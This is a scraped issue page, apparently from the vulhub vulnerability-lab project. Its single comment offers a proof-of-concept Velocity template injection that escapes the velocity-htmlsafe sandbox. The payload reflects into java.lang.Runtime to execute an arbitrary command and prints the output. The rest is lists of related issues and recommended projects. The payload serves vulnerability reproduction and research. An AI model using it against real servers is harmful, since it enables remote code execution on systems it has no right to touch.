Comments (1)
There is a sandbox in velocity-htmlsafe-1.5.1.jar
.
Try this POC:
#set ($exp="exp")
#set ($a=$exp.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec($command))
#set ($out=$a.getInputStream())
$exp.getClass().forName("org.apache.commons.io.IOUtils").getMethod("toString",$exp.getClass().forName("java.io.InputStream")).invoke(null,$out)
from vulhub.
Related Issues (20)
- bash/CVE-2014-6271 无法访问脚本文件 HOT 1
- Fatal error while running container for CVE-2021-44228 HOT 1
- kafka/CVE-2023-25194 镜像构建问题 HOT 1
- Request Dockerfile for each container img HOT 1
- airflow/CVE-2020-11978启动失败 HOT 1
- ERROR: error pulling image configuration: unknown blob HOT 2
- [Proposal] Adding a .desc file for each CVE container HOT 5
- Java RMI Registry 反序列化漏洞(<=jdk8u111)无法复现
- 苹果M1芯片启动项目时exec 格式错误 HOT 1
- php/xdebug-rce fails to build HOT 1
- Include `Dockerfile` in the repo HOT 3
- jumpserver随机数种子泄露导致账户劫持漏洞 默认admin账号密码无法登录 HOT 7
- 关于/grafana/admin-ssrf这个漏洞的一些问题。 HOT 2
- 关于 Compose file 的优化建议, 兼容 arm 架构 (M1 mac) HOT 4
- log4j/CVE-2021-44228: Unsupported operation HOT 2
- CVE-2017-17405镜像build失败 HOT 3
- phpmailer/CVE-2017-5223 build error HOT 3
- elasticsearch/CVE-2015-3337 build error HOT 1
- cve-2017-10271-weblogic-1运行不起来 HOT 4
- solr/CVE-2019-17558 容器运行失败 HOT 1
Recommend Projects
-
React
A declarative, efficient, and flexible JavaScript library for building user interfaces.
-
Vue.js
🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.
-
Typescript
TypeScript is a superset of JavaScript that compiles to clean JavaScript output.
-
TensorFlow
An Open Source Machine Learning Framework for Everyone
-
Django
The Web framework for perfectionists with deadlines.
-
Laravel
A PHP framework for web artisans
-
D3
Bring data to life with SVG, Canvas and HTML. 📊📈🎉
-
Recommend Topics
-
javascript
JavaScript (JS) is a lightweight interpreted programming language with first-class functions.
-
web
Some thing interesting about web. New door for the world.
-
server
A server is a program made to process requests and deliver data to clients.
-
Machine learning
Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.
-
Visualization
Some thing interesting about visualization, use data art
-
Game
Some thing interesting about game, make everyone happy.
Recommend Org
-
Facebook
We are working to build community through open source technology. NB: members must have two-factor auth.
-
Microsoft
Open source projects and samples from Microsoft.
-
Google
Google ❤️ Open Source for everyone.
-
Alibaba
Alibaba Open Source for everyone
-
D3
Data-Driven Documents codes.
-
Tencent
China tencent open source team.
from vulhub.